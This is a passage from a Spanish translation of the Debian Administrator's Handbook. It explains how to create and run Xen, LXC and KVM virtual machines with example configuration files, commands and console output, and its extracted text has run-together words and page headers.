duros completos al domU,particiones, arrays RAID ovolúmenes lógicos LVMpreexistentes. Sin embargo, estasoperaciones no están automatizadaspor xen-create-image, por lo quedeberá editar el archivo deconfiguración de la imagen luego decrearlo con xen-create-image.

Una vez que realizó esta elección,puede crear la imagen para nuestrofuturo domU Xen:

# xen-create-image --hostname=testxen

General Information

--------------------

Hostname : testxen

Page 1467: El Libro Del Administrador de Debian - Raphael Hertzog

Distribution : squeeze

Mirror : http://ftp.us.debian.org/debian/

Partitions : swap 128Mb (swap)

/ 4Gb (ext3)

Image type : sparse

Memory size : 128Mb

Kernel path : /boot/vmlinuz-2.6.32-5-xen-686

Initrd path : /boot/initrd.img-2.6.32-5-xen-686

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname : testxen

Distribution : squeeze

IP-Address(es) : dynamic

RSA Fingerprint : 25:6b:6b:c7:84:03:9e:8b:82:da:84:c0:08:cd:29:94

Root Password : 52emxRmM

Ahora tenemos una máquina virtual,pero no está ejecutando (por lo tanto

Page 1468: El Libro Del Administrador de Debian - Raphael Hertzog

sólo utiliza espacio en el disco duro deldom0). Por supuesto, podemos crearmás imágenes, posiblemente condiferentes parámetros.

Antes de encender estas máquinasvirtuales, necesitamos definir cómoaccederemos a ellas. Por supuesto,podemos considerarlas máquinasaisladas a las que sólo podemosacceder a través de su consola desistema, pero rara vez esto coincidecon el patrón de uso. La mayoría de lasveces, consideraremos un domU comoun servidor remoto al que sólopodemos acceder a través de la red. Sinembargo, sería un gran inconvenienteagregar una tarjeta de red para cada

Page 1469: El Libro Del Administrador de Debian - Raphael Hertzog

domU; es por esto que Xen permitecrear interfaces virtuales que cadadominio puede ver y utilizar de laforma estándar. Sepa que estas tarjetas,aunque sean virtuales, sólo serán útilescuando estén conectadas a una red,inclusive una virtual. Xen tiene variosmodelos de red para esto:

El modelo más simple es elmodelo puente («bridge»); todaslas tarjetas de red eth0 (tanto enlos sistemas domU como en eldom0) se comportarán como siestuvieran conectadasdirectamente a un switch Ethernet.Luego está el modeloenrutamiento («routing») en el

Page 1470: El Libro Del Administrador de Debian - Raphael Hertzog

que el dom0 se comporta como elrouter entre los sistemas domU yla red (física) externa.Finalmente, en el modelo NAT,nuevamente el dom0 se encuentraentre los sistemas domU y el restode la red, pero no se puede accedera los sistemas domU directamentedesde afuera y el tráfico atraviesauna traducción de direcciones dered en el dom0.

Estos tres modos de red involucran unacantidad de interfaces con nombresinusuales, como vif*, veth*, peth* yxenbr0. El hypervisor Xen losacomoda en la distribución definidabajo el control de las herramientas en

Page 1471: El Libro Del Administrador de Debian - Raphael Hertzog

espacio de usuario. Debido a que losmodelos NAT y de enrutamiento sólose adaptan a casos particulares sólodiscutiremos el modelo de puente.

La configuración estándar de lospaquetes Xen no modifica laconfiguración de red del sistema. Sinembargo, se configura el demonio xendpara integrar las interfaces de redvirtuales en un puente de redpreexistente (xenbr0 tiene precedenciasi existen varios de ellos). Por lo tanto,debemos configurar un puente en/etc/network/interfaces (lo querequiere que instalemos el paquetebridge-utils, razón por la que lorecomienda el paquete xen-utils-4.0)

Page 1472: El Libro Del Administrador de Debian - Raphael Hertzog

para reemplazar el elemento eth0existente:

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

Luego de reiniciar para asegurarse quese crea el puente automáticamente,podemos iniciar el domU con lasherramientas de control de Xen, enparticular el programa xm. Esteprograma permite variasmanipulaciones de los dominios, entreellas: enumerarlos, iniciarlos ydetenerlos.

# xm list

Name ID Mem VCPUs State Time(s)

Page 1473: El Libro Del Administrador de Debian - Raphael Hertzog

Domain-0 0 940 1 r----- 3896.9

# xm create testxen.cfg

Using config file "/etc/xen/testxen.cfg".

Started domain testxen (id=1)

# xm list

Name ID Mem VCPUs State Time(s)

Domain-0 0 873 1 r----- 3917.1

testxen 1 128 1 -b---- 3.7

PRECAUCIÓN ¡Sólo un domU porimagen!

Si bien es posible tener varios sistemasdomU ejecutando en paralelo, siemprenecesitarán utilizar su propia imagen yaque se le hace creer a cada domU queejecuta en su propio hardware (además dela pequeña porción del núcleo queinteractúa con el hypervisor). Enparticular, no es posible que dos sistemasdomU ejecutando en paralelo compartan

Page 1474: El Libro Del Administrador de Debian - Raphael Hertzog

espacio de almacenamiento. Si lossistemas domU no ejecutan al mismotiempo, sin embargo, es posible reutilizarla misma partición de intercambio o lapartición que alberga el sistema dearchivos /home.

Sepa que el domU testxen utilizamemoria real - no simulada - de laRAM que, de lo contrario, estaríadisponible en el dom0. Debe tenercuidado al construir un servidor parainstancias Xen, asegurándose de incluirsuficente RAM física.

¡Voilà! Nuestra máquina virtual estáiniciando. Podemos acceder a ella dedos formas. La forma usual es

Page 1475: El Libro Del Administrador de Debian - Raphael Hertzog

conectarnos «remotamente» a través dela red, como lo haríamos con unamáquina real; esto usualmenterequerirá configurar un servidor DHCPo alguna configuración de DNS. La otraforma, que puede ser la única forma sila configuración de red era incorrecta,es utilizar la consola hvc0 ejecutandoxm console:

# xm console testxen

[...]

Starting enhanced syslogd: rsyslogd.

Starting periodic command scheduler: cron.

Starting OpenBSD Secure Shell server: sshd.

Debian GNU/Linux 6.0 testxen hvc0

testxen login:

Page 1476: El Libro Del Administrador de Debian - Raphael Hertzog

Uno puede abrir una sesión, tal como siestuviera sentado frente al teclado de lamáquina virtual. Puede desconectarsede esta consola con la combinación deteclas Control+].

SUGERENCIA Ingreso a la consolainmediatamente

A veces uno desea iniciar un sistemadomU e ingresar a su consolainmediatamente; es por esto que puedeutilizar la opción -c cuando ejecute xmcreate. Iniciar un domU con ella mostrarátodos los mensajes mientras inicia elsistema.

HERRAMIENTA ConVirt

Page 1477: El Libro Del Administrador de Debian - Raphael Hertzog

ConVirt (en el paquete convirt,anteriormente XenMan) es una interfazgráfica que permite controlar losdominios Xen instalados en una máquina.Provee la mayoría de la funciondalidaddel programa xm.

Una vez que el domU está ejecutando,puede utilizarlo como cualquier otroservidor (al fin y al cabo es un sistemaGNU/Linux). Sin embargo, suexistencia como máquina virtualpermite cierta funcionalidad adicional.Por ejemplo, puede pausar y resumirtemporalmente un domU, ejecutandoxm pause y xm unpause. Sepa queaunque un domU pausado no utiliza elprocesador, la memoria reservada a él

Page 1478: El Libro Del Administrador de Debian - Raphael Hertzog

sigue en uso. Puede ser interesanteconsiderar las órdenes xm save y xmrestore: guardar un domU libera losrecursos utilizados por este domU,incluyendo la RAM. Cuando restaure(o resuma) un domU, éste no notaránada a excepción del paso del tiempo.Si un domU está ejecutando cuando seapague el dom0, los scriptsempaquetados automáticamenteguardarán el domU y lo restauraráncuando vuelva a iniciar. Esto, porsupuesto, tiene los mismosinconvenientes estándar que cuandohiberna un equipo portátil, porejemplo; en particular, si se suspendepor demasiado tiempo al domU,pueden expirar las conexiones de red.

Page 1479: El Libro Del Administrador de Debian - Raphael Hertzog

Sepa también que, hasta el momento,Xen es incompatible con gran parte dela gestión de energía ACPI, lo que evitaque pueda suspender el sistemaanfitrión (dom0).

DOCUMENTACIÓN Opciones de xm

La mayoría de las subórdenes de xmesperan uno o más parámetros,generalmente el nombre de un domU. Sedescriben en detalle estos parámetros enla página de manual xm(1).

Puede apagar o reiniciar un domU tantodesde dentro del domU (con elprograma shutdown) como tambiéndesde el dom0, ejecutando xm

Page 1480: El Libro Del Administrador de Debian - Raphael Hertzog

shutdown o xm reboot.

YENDO MÁS ALLÁ Xen avanzado

Xen tiene mucha más funcionalidad de laque podemos describir en estos pocospárrafos. En particular, el sistema es muydinámico y puede ajustar muchosparámetros de un dominio (como cantidadde memoria reservada, discos durosvisibles, comportamiento de las tareasprogramadas, etc.) aún cuando éste estáejecutando. ¡Inclusive puede migrar undomU entre servidors sin apagarlo y sinperder sus conexiones de red! Para sabermás de todos estos aspectos avanzados, lafuente de información principal es ladocumentación oficial de Xen.

→ http://www.xen.org/support/documentation.html

Page 1481: El Libro Del Administrador de Debian - Raphael Hertzog

12.2.2. LXCAún cuando es utilizado para crear«máquinas virtuales», LXC no es,estrictamente hablando, un sistema devirtualización sino un sistema paraaislar grupos de procesos entre sí aúncuando estos ejecutan en el mismoequipo. Aprovecha un conjunto deevoluciones recientes del núcleo Linux,conocidos colectivamente como gruposde control («control groups»),mediante los que diferentes conjuntosde procesos llamados «grupos» tienendiferentes visiones de ciertos aspectosde todo el sistema. Entre estos

Page 1482: El Libro Del Administrador de Debian - Raphael Hertzog

aspectos, los más notables son losidentificadores de procesos, laconfiguración de red y los puntos demontaje. Un grupo de procesos aisladosno podrá acceder a otros procesos en elsistema y puede restringir su acceso alsistema de archivos a un subconjuntoespecífico. También puede tener supropia interfaz de red y tabla deenrutamiento y puede configurarlo paraque sólo pueda ver un subconjunto delos dispositivos disponibles que estánpresentes en el sistema.

Puede combinar estas funcionalidadespara aislar una familia de procesoscompleta que inicia desde el procesoinit, y el conjunto resultante es muy

Page 1483: El Libro Del Administrador de Debian - Raphael Hertzog

similar a una máquina virtual. Elnombre oficial de esta configuración es«contenedor» (de allí LXC:contenedores Linux, «LinuXContainers»), pero una diferenciaimportante con máquinas virtuales«reales» como aquellas provistas porXen o KVM es que no hay un segundonúcleo; el contenedor utiliza el mismonúcleo que el sistema anfitrión. Estotiene tanto ventajas como desventajas:las ventajas incluyen una faltacompleta de sobrecarga y, así, costosen rendimiento y el hecho de que elnúcleo tiene una visión global de todoslos procesos que ejecutan en el sistemapor lo que la gestión de procesos puedeser más eficiente que si existieran dos

Page 1484: El Libro Del Administrador de Debian - Raphael Hertzog

núcleos independientes administrandoconjuntos de tareas. La mayor de lasdesventajas es la imposibilidad deejecutar un núcleo diferente en uncontenedor (sea una versión diferentede Linux o directamente un sistemaoperativo distinto).

NOTA Límites de aislamiento en LXC

Los contenedores LXC no proveen elnivel de aislamiento que proveenemuladores o virtualizadores máspesados. En particular:

el núcleo estándar en Squeeze nopermite limitar la cantidad dememoria disponible en unconteneder; esta funcionalidadexiste y puede activarla

Page 1485: El Libro Del Administrador de Debian - Raphael Hertzog

recompilando el núcleo con laopción «Memory ResourceController», pero todavía se laconsidera algo experimental y tieneun (ligero) costo en el rendimientogeneral del sistema, razón por la queestá desactivada de formapredeterminada;debido a que el sistema anfitrión ylos contendores comparten elnúcleo, los procesos limitados en uncontenedor todavía pueden accedera los mensajes del núcleo, lo quepuede causar que se filtreinformación si un contenedor emitemensajes;por razones similares, si secompromete un contenedor y seexplota una vulnerabilidad delnúcleo, puede afectar a otroscontenedores;

Page 1486: El Libro Del Administrador de Debian - Raphael Hertzog

en el sistema de archivos, el núcleosupervisa los permisos segúnidentificadores numéricos para losusuarios y grupos; estosidentificadores pueden designarusuarios y grupos diferentes segúnel contenedor, debe tenerlo encuenta si los contenedorescomparten permisos de escritura apartes del sistema de archivos.

Debido a que estamos trabajando conaislamiento en lugar de virtualización,configurar contenedores LXC es máscomplejo que simplemente ejecutardebian-installer en una máquinavirtual. Describiremos unos pocosprerequisitos, luego continuaremos con

Page 1487: El Libro Del Administrador de Debian - Raphael Hertzog

la configuración de red; finalmentepodremos crear realmente el sistema aejecutar en el contenedor.

12.2.2.1. Pasos preliminares

El paquete lxc contiene lasherramientas necesarias para utilizarLXC, por lo tanto debe instalarlo.

LXC también necesita del sistema deconfiguración de grupos de control(«control groups»), que es un sistemade archivos virtual montado en/sys/fs/cgroup. Debe incluir elsiguiente elemento en el archivo/etc/fstab:

Page 1488: El Libro Del Administrador de Debian - Raphael Hertzog

# /etc/fstab: información estática del sistema de archivos.

[...]

cgroup /sys/fs/cgroup cgroup defaults 0 0

Se montará automáticamente/sys/fs/cgroup al iniciar; si noplanea reiniciar en el futuro cercanodebe montar manualmente el sistemade archivos ejecutando mount/sys/fs/cgroup.

12.2.2.2. Configuración dered

El objetivo de instalar LXC esconfigurar máquinas virtuales; si bienpodríamos mantenerlas aisladas de lared, y sólo comunicarnos con ellas a

Page 1489: El Libro Del Administrador de Debian - Raphael Hertzog

través del sistema de archivos, lamayoría de los casos de uso involucranproveer a los contenedores al menos unacceso mínimo a la red. En el casotípico, cada contenedor obtendrá unainterfaz de red virtual, conectada a lared real a través de un puente. Estainterfaz virtual puede conectarsedirectamente a la interfaz de red físicadel anfitrión (en cuyo caso elcontenedor se encuentra en la reddirectamente) o a otra interfaz virtualdefinida en el anfitrión (y en la queéste puede filtrar o enrutar tráfico). Enambos casos, necesitará el paquetebridge-utils.

El caso más simple es sólo cuestión de

Page 1490: El Libro Del Administrador de Debian - Raphael Hertzog

editar /etc/network/interfaces,moviendo la configuración de lainterfaz física (por ejemplo eth0) a lainterfaz bridge (generalmente br0) yconfigurar un enlace entre ellas. Porejemplo, si el archivo de configuraciónde la interfaz de red inicialmentecontiene elementos como lossiguientes:

auto eth0

iface eth0 inet dhcp

Debería desactivarlas y reemplazarlascon lo siguiente:

#auto eth0

#iface eth0 inet dhcp

auto br0

Page 1491: El Libro Del Administrador de Debian - Raphael Hertzog

iface br0 inet dhcp

bridge-ports eth0

El efecto de esta configuración serásimilar a lo que podría obtener si loscontroladores fueran máquinasconectadas a la misma red física que elanfitrión. La configuración del«puente» gestiona el tránsito de marcosEthernet entre todas las interfaces enél, lo que incluye la interfaz física eth0así como también las interfacesdefinidas para los contenedores.

En casos en los que no pueda utilizaresta configuración (por ejemplo, si nopuede asignarle una IP pública a loscontenedores), crearemos una solainterfaz virtual tap y la conectaremos

Page 1492: El Libro Del Administrador de Debian - Raphael Hertzog

al puente. La topología de redequivalente sería aquella de un equipocon una segunda tarjeta de redconectada a un switch independiente alque también están conectados loscontenedores. El anfitrión deberáactuar como puerta de enlace para loscontenedores si éstos debencomunicarse con el mundo exterior.

Además de bridge-utils, estaconfiguración «enriquecida» necesitael paquete vde2; el archivo/etc/network/interfaces seconvierte entonces en:

# Interfaz eth0 sin cambios

auto eth0

iface eth0 inet dhcp

Page 1493: El Libro Del Administrador de Debian - Raphael Hertzog

# Interfaz virtual

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Puente para los contenedores

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

Luego puede configurar la red en loscontenedores de forma estática odinámica con un servidor DHCPejecutando en el anfitrión. Deberáconfigurar este servidor DHCP paraque responda a pedidos en la interfazbr0.

Page 1494: El Libro Del Administrador de Debian - Raphael Hertzog

12.2.2.3. Configuración delsistema

Configuremos ahora el sistema queutilizará el contenedor. Debido a queesta «máquina virtual» no ejecutarádirectamente sobre el hardware, sonnecesarios algunos ajustes comparadoscon un sistema de archivos estándar,especialmente en aquello que involucraal núcleo, los dispositivos y lasconsolas. Afortunadamente, el paquetelxc incluye scripts que automatizan lamayoría de esta configuración. Porejemplo, las siguientes órdenes (querequieren el paquete debootstrap)instalará un contenedor Debian:

Page 1495: El Libro Del Administrador de Debian - Raphael Hertzog

root@scouzmir:~# mkdir /var/lib/lxc/testlxc/

root@scouzmir:~# /usr/lib/lxc/templates/lxc-debian -p /var/lib/lxc/testlxc/

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-i386 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Packages

[...]

Removing any system startup links for /etc/init.d/hwclockfirst.sh ...

/etc/rcS.d/S08hwclockfirst.sh

Root password is 'root', please change !

root@scouzmir:~#

Sepa que inicialmente se crea elsistema de archivos en/var/cache/lxc y luego es mudado asu directorio de destino. Esto permitecrear contenedores idénticos muchomás rápido ya que luego sólo necesitacopiarlo.

Page 1496: El Libro Del Administrador de Debian - Raphael Hertzog

Sepa también que el programa lxc-debian como está incluido en Squeezelamentablemente crea un systemaLenny y no un sistema Squeeze comouno esperaría. Puede evitar esteproblema simplemente instalando unanueva versión del paquete(comenzando con 0.7.3-1).

El sistema de archivos recientementecreado ahora contiene un sistemaDebian mínimo, adaptado a laconfiguración de red «simple» que yamencionamos. En la configuración«enriquecida», necesitará modificar elarchivo/var/lib/lxc/testlxc/rootfs/etc/network/interfaces

lo que es más importante, sin embargo,

Page 1497: El Libro Del Administrador de Debian - Raphael Hertzog

es que la interfaz de red que ve elcontenedor no debe ser la interfazfísica del anfitrión. Puede configuraresto agregando unas pocas líneaslxc.network.* al archivo deconfiguración del contenedor,/var/lib/lxc/testlxc/config:

lxc.network.type = veth

lxc.network.flags = up

lxc.network.link = br0

lxc.network.hwaddr = 4a:49:43:49:79:20

Estas líneas significan,respectivamente, que se creará unainterfaz virtual en el contenedor; queserá iniciada automáticamente cuandoinicie el contenedor; que seráconectada automáticamente al puente

Page 1498: El Libro Del Administrador de Debian - Raphael Hertzog

br0 en el anfitrión; y que su direcciónMAC será la especificada. En caso queesta última línea no exista o estédesactivada, se generará una direcciónMAC aleatoria.

12.2.2.4. Inicio delcontenedor

Ahora que nuestra máquina virtual estálista, iniciemos el contenedor:

root@scouzmir:~# lxc-start --name=testlxc

INIT: version 2.86 booting

Activating swap...done.

Cleaning up ifupdown....

Checking file systems...fsck 1.41.3 (12-Oct-2008)

done.

Setting kernel variables (/etc/sysctl.conf)...done.

Page 1499: El Libro Del Administrador de Debian - Raphael Hertzog

Mounting local filesystems...done.

Activating swapfile swap...done.

Setting up networking....

Configuring network interfaces...Internet Systems Consortium DHCP Client V3.1.1

Copyright 2004-2008 Internet Systems Consortium.

All rights reserved.

For info, please visit http://www.isc.org/sw/dhcp/

Listening on LPF/eth0/52:54:00:99:01:01

Sending on LPF/eth0/52:54:00:99:01:01

Sending on Socket/fallback

DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 4

DHCPOFFER from 192.168.1.2

DHCPREQUEST on eth0 to 255.255.255.255 port 67

DHCPACK from 192.168.1.2

bound to 192.168.1.243 -- renewal in 1392 seconds.

done.

INIT: Entering runlevel: 3

Starting OpenBSD Secure Shell server: sshd.

Debian GNU/Linux 5.0 scouzmir console

Page 1500: El Libro Del Administrador de Debian - Raphael Hertzog

scouzmir login: root

Password:

Linux scouzmir 2.6.32-5-686 #1 SMP Tue Mar 8 21:36:00 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

scouzmir:~# ps auxwf

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

root 1 0.0 0.2 1984 680 ? Ss 08:44 0:00 init [3]

root 197 0.0 0.1 2064 364 ? Ss 08:44 0:00 dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclien

root 286 0.1 0.4 2496 1256 console Ss 08:44 0:00 /bin/login --

root 291 0.7 0.5 2768 1504 console S 08:46 0:00 \_ -bash

root 296 0.0 0.3 2300 876 console R+ 08:46 0:00 \_ ps auxwf

root 287 0.0 0.2 1652 560 tty1 Ss+ 08:44 0:00 /sbin/getty 38400 tty1 linux

root 288 0.0 0.2 1652 560 tty2 Ss+ 08:44 0:00 /sbin/getty 38400 tty2 linux

root 289 0.0 0.2 1652 556 tty3 Ss+ 08:44 0:00 /sbin/getty 38400 tty3 linux

root 290 0.0 0.2 1652 560 tty4 Ss+ 08:44 0:00 /sbin/getty 38400 tty4 linux

scouzmir:~#

Page 1501: El Libro Del Administrador de Debian - Raphael Hertzog

Ahora estamos dentro del contenedor;nuestro acceso a los procesos estárestringido a aquellos iniciados dentrodel mismo contenedor y nuestro accesoal sistema de archivos está limitado deforma similar al subconjunto dedicadodel sistema de archivos completo(/var/lib/lxc/testlxc/rootfs), enel que la contraseña de root esinicialmente root.

En caso que deseemos ejecutar elcontenedor como un proceso ensegundo plano, ejecutaríamos lxc-startcon la opción --daemon. Luegopodemos interrumpir el contenedorejecutando lxc-kill --name=testlxc.

Page 1502: El Libro Del Administrador de Debian - Raphael Hertzog

El paquete lxc contiene un script deinicialización que puede iniciarautomáticamente uno o máscontenedores cuando inicia el anfitrión;su archivo de configuración,/etc/default/lxc es bastante directo;sepa que necesita almacenar losarchivos de configuración delcontenedor en /etc/lxc/; muchosusuarios prefieren enlaces simbólicos,que puede crear con ln -s/var/lib/lxc/testlxc/config/etc/lxc/testlxc.config.

YENDO MÁS ALLÁ Virtualización enmasa

Debido a que LXC es un sistema deaislación muy liviano, puede adaptarse

Page 1503: El Libro Del Administrador de Debian - Raphael Hertzog

particularmente al almacenamientomasivo de servidores virtuales. Laconfiguración de red probablemente seaun poco más avanzada que la quedescribimos, pero la configuración«enriquecida» utilizando interfaces tap yveth debería ser suficiente en muchoscasos.

También puede tener sentido compartirparte del sistema de archivos, como lossubárboles /usr y /lib para evitarduplicar el software que puede ser comúna varios contenedores. Generalmente seconsigue esto con elementoslxc.mount.entry en el archivo deconfiguración de los contenedores. Unefecto secundario interesante es que elproceso utilizará menos memoria física yaque el núcleo puede detectar que secomparten los programas. El costo

Page 1504: El Libro Del Administrador de Debian - Raphael Hertzog

marginal de un contenedor adicional sepuede reducir al espacio en discodedicado a sus datos específicos y unospocos procesos adicionales que el núcleodebe gestionar y programar.

Obviamente, no describimos todas lasopciones disponibles; puede obtenerinformación más completa en las páginasde manual lxc(7) y lxc.conf(5) así comotambién aquellas a las que hacenreferencia.

12.2.3. Virtualizacióncon KVMKVM, acrónimo de máquina virtual

Page 1505: El Libro Del Administrador de Debian - Raphael Hertzog

basada en el núcleo («Kernel-basedVirtual Machine»), es primero quenada un módulo del núcleo que proveela mayor parte de la infraestructura quepuede usar un virtualizador, pero no esun virtualizador en sí mismo. Elcontrol real de la virtualización esgestionado por una aplicación basadaen QEMU. No se preocupe si estasección menciona programas qemu-*,continúa hablando sobre KVM.

A diferencia de otros sistemas devirtualización, se integró KVM alnúcleo Linux desde el comienzo. Susdesarrolladores eligieron aprovechar elconjunto de instrucciones deprocesador dedicados a la

Page 1506: El Libro Del Administrador de Debian - Raphael Hertzog

virtualización (Intel-VT y AMD-V), loque mantiene a KVM liviano, elegantey no muy hambriento de recursos. Lacontraparte, obviamente, es que KVMfunciona principalmente enprocesadores i386 y amd64, y sólo enaquellos suficientemente recientes paratener estos conjuntos de instrucciones.Puede verificar si tiene uno de estosprocesadores si encuentra a «vmx» o«svm» entre las opciones de CPU(«flags») enumeradas en/proc/cpuinfo.

Con Red Hat respaldando activamentesu desarrollo, KVM parece estardestinado a convertirse en la referenciade virtualización en Linux.

Page 1507: El Libro Del Administrador de Debian - Raphael Hertzog

12.2.3.1. Pasos preliminares

A diferencia de herramientas comoVirtualBox, KVM por sí mismo noincluye ninguna interfaz de usuariopara crear y administrar máquinasvirtuales. El paquete qemu-kvm sóloprovee un ejecutable para iniciarmáquinas virtuales así como el scriptde inicialización que carga los módulosde núcleo apropiados.

Afortunadamente, Red Hat tambiénprovee otro conjunto de herramientaspara solucionar este problema con eldesarrollo de la biblioteca libvirt y lasherramientas gestor de máquina virtual(«virtual machine manager»)

Page 1508: El Libro Del Administrador de Debian - Raphael Hertzog

asociadas. libvirt permite administrarmáquinas virtuales de manera uniformee independiente al sistema devirtualización subyacente (actualmentees compatible con QEMU, KVM, Xen,LXC, OpenVZ, VirtualBox, VMWare yUML). virtual-manager es unainterfaz gráfica que utiliza libvirt paracrear y administrar máquinas virtuales.

Primero instalaremos los paquetesnecesarios con apt-get install qemu-kvm libvirt-bin virtinst virt-managervirt-viewer. libvirt-bin provee eldemonio libvirtd, que permite lagestión (posiblemente remota) demáquinas virtuales ejecutando en elequipo e inicia las VMs necesarias

Page 1509: El Libro Del Administrador de Debian - Raphael Hertzog

cuando éste inicia. Además, estepaquete provee la herramienta deconsola virsh que permite controlar losequipos administrados con libvirtd.

El paquete virtinst provee virt-install,que permite crear máquinas virtualesdesde una constola. Finalmente, virt-viewer permite acceder a la consolagráfica de una VM.

12.2.3.2. Configuración dered

De la misma forma que en Xen y LXC,la configuración de red más frecuenteinvolucra un puente que agrupa las

Page 1510: El Libro Del Administrador de Debian - Raphael Hertzog

interfaces de red de las máquinasvirtuales (revise la Section 12.2.2.2,“Configuración de red”).

Alternativamente, y de formapredeterminada en la configuración deKVM, se le asigna una direcciónprivada (en el rango 192.168.122.0/24)a la máquina virtual y se configuraNAT para que la VM pueda acceder ala red externa.

El resto de esta sección asume que elanfitrión posee una interfaz física eth0y un puente br0 que está conectado a laprimera interfaz.

12.2.3.3. Instalación con

Page 1511: El Libro Del Administrador de Debian - Raphael Hertzog

virt-install

Crear una máquina virtual es muysimilar a instalar un sistema normal,excepto que describirá lascaracterísticas de la máquina virtual enuna línea que parecerá infinita.

En la práctica, esto significa queutilizaremos el instalador de Debian,iniciando la máquina virtual en undispositivo DVD-ROM virtual que estáasociado con la imagen del DVDDebian almacenado en el sistemaanfitrión. La VM exportará su consolagráfica sobre el protocolo VNC (revisela Section 9.2.3, “Utilización deescritorios gráficos remotos” para más

Page 1512: El Libro Del Administrador de Debian - Raphael Hertzog

detalles), lo que nos permitirá controlarel proceso de instalación.

Primero necesitaremos indicarle alibvirtd dónde almacenar las imágenesde disco, a menos que la ubicaciónpredeterminada(/var/lib/libvirt/images) seaadecuada.

# virsh pool-create-as srv-kvm dir --target /srv/kvm

Ahora iniciaremos el proceso deinstalación para la máquina virtual yveremos en más detalle las opcionesmás importantes de virt-install. Esteprograma registra en libvirtd lamáquina virtual y sus parámetros yluego la inicia para continuar el

Page 1513: El Libro Del Administrador de Debian - Raphael Hertzog

proceso de instalación.

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--ram 1024

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-6.0.0-amd64-DVD-1.iso

--network bridge=br0

--vnc

--os-type linux

--os-variant debiansqueeze

Starting install...

Allocating 'testkvm.qcow' | 10 GB 00:00

Creating domain... | 0 B 00:00

Cannot open display:

Run 'virt-viewer --help' to see a full list of available command line options.

Domain installation still in progress. You can reconnect

to the console to complete the installation process.

Page 1514: El Libro Del Administrador de Debian - Raphael Hertzog

La opción --connect especifica el«hypervisor» a utilizar. En forma deuna URL que contiene un sistema devirtualización (xen://, qemu://,lxc://, openvz://, vbox://, etc.) yel equipo que alojará la VM (puededejarlo vacío si es el equipo local).Además, y en el caso deQEMU/KVM, cada usuario puedeadministrar máquinas virtuales conpermisos restringidos, y la ruta de laURL permite diferenciar equipos de«sistema» (/system) de los demás(/session).

Debido a que se administra KVM dela misma forma que QEMU, la

Page 1515: El Libro Del Administrador de Debian - Raphael Hertzog

opción --virt-type kvm permiteespecificar que se utilice KVMaunque la URL parezca una deQEMU.

La opción --name define un nombre(único) para la máquina virtual.

La opción --ram permite especificarla cantidad de RAM (en MB) quereservar para la máquina virtual.

La opción --disk especifica laubicación del archivo de imagen querepresentará el disco duro de nuestramáquina virtual; se creará este

Page 1516: El Libro Del Administrador de Debian - Raphael Hertzog

archivo, a menos que ya exista, deun tamaño (en GB) especificado porel parámetro size. El parámetroformat permite elegir entre lasdiferentes formas de almacenar elarchivo de imagen. El formatopredeterminado (raw) es un soloarchivo de exactamente el mismotamaño y contenidos que el disco.Seleccionamos un formato másavanzado aquí, específico de QEMUy que permite iniciar con un archivopequeño que sólo crece cuando lamáquina virtual realmente utiliza elespacio.

Utilizamos la opción --cdrom para

Page 1517: El Libro Del Administrador de Debian - Raphael Hertzog

indicar dónde encontrar el discoóptico a utilizar para la instalación.La ruta puede ser una ruta local paraun archivo ISO, una URL donde sepuede obtener el archivo o el archivode dispositivo de un CD-ROM físico(es decir: /dev/cdrom).

La opción --network especificacómo se integra la tarjeta de redvirtual a la configuración de red delanfitrión. El comportamientopredeterminado (que forzamosexplícitamente en nuestro ejemplo)es integrarla en un puente de redpreexistente. Si no existe dichopuente, la máquina virtual sólo

Page 1518: El Libro Del Administrador de Debian - Raphael Hertzog

llegará a la red física mediante NAT,por lo que se asignará una direcciónen el rango de subredes privadas(192.168.122.0/24).

--vnc indica que debe estardisponible la consola gráfica através de VNC. El comportamientopredeterminado para el servidorVNC es sólo escuchar en la interfazlocal; si debe ejecutar el clienteVNC en otro equipo, necesitaráestablecer un túnel SSH (revise laSection 9.2.2.3, “Creación de túnelescifrados con redirección depuertos”) para poder establecer unaconexión. Alternativamente, puede

Page 1519: El Libro Del Administrador de Debian - Raphael Hertzog

utilizar --vnclisten=0.0.0.0 parapoder acceder al servidor VNCdesde todas las interfaces; sepa quesi hace esto, realmente debe diseñarsu firewall de forma acorde.

Las opciones --os-type y --os-variant permiten optimizar unospocos parámetros de la máquinavirtual basado en característicasconocidas del sistema operativomencionado en ellas.

En este punto, la máquina virtual estáejecutando y necesitaremosconectarnos a la consola gráfica paracontinuar con el proceso de instalación.

Page 1520: El Libro Del Administrador de Debian - Raphael Hertzog

Si realizó la operación anterior de unentorno de escritorio gráfico, estaconexión debería iniciarautomáticamente. De lo contrario, o siestamos trabajando de forma remota,puede ejecutar virt-viewer desdecualquier entorno gráfico para abrir laconsola gráfica (sepa que le pedirá lacontraseña de root del equipo remotodos veces ya que esta operaciónnecesita dos conexiones SSH):

$ virt-viewer --connect qemu+ssh://root@

root@servidor password:

root@servidor's password:

Cuando finaliza el proceso deinstalación, se reinicia la máquinavirtual y está lista para que la utilice.

Page 1521: El Libro Del Administrador de Debian - Raphael Hertzog

12.2.3.4. Administrandomáquinas con virsh

Ahora que finalizó la instalación,veamos como gestionar las máquinasvirtuales disponibles. Lo primero aintentar es pedirle a libvirtd la lista demáquinas virtuales que administra:

# virsh -c qemu:///system list --all

Id Name State

----------------------------------

- testkvm shut off

Iniciemos nuestra máquina virtual depruebas:

# virsh -c qemu:///system start testkvm

Domain testkvm started

Page 1522: El Libro Del Administrador de Debian - Raphael Hertzog

Ahora podemos obtener lasinstrucciones de conexión para laconsola gráfica (puede pasar comoparámetro de vncviewer la pantallaVNC devuelta):

# virsh -c qemu:///system vncdisplay testkvm

:0

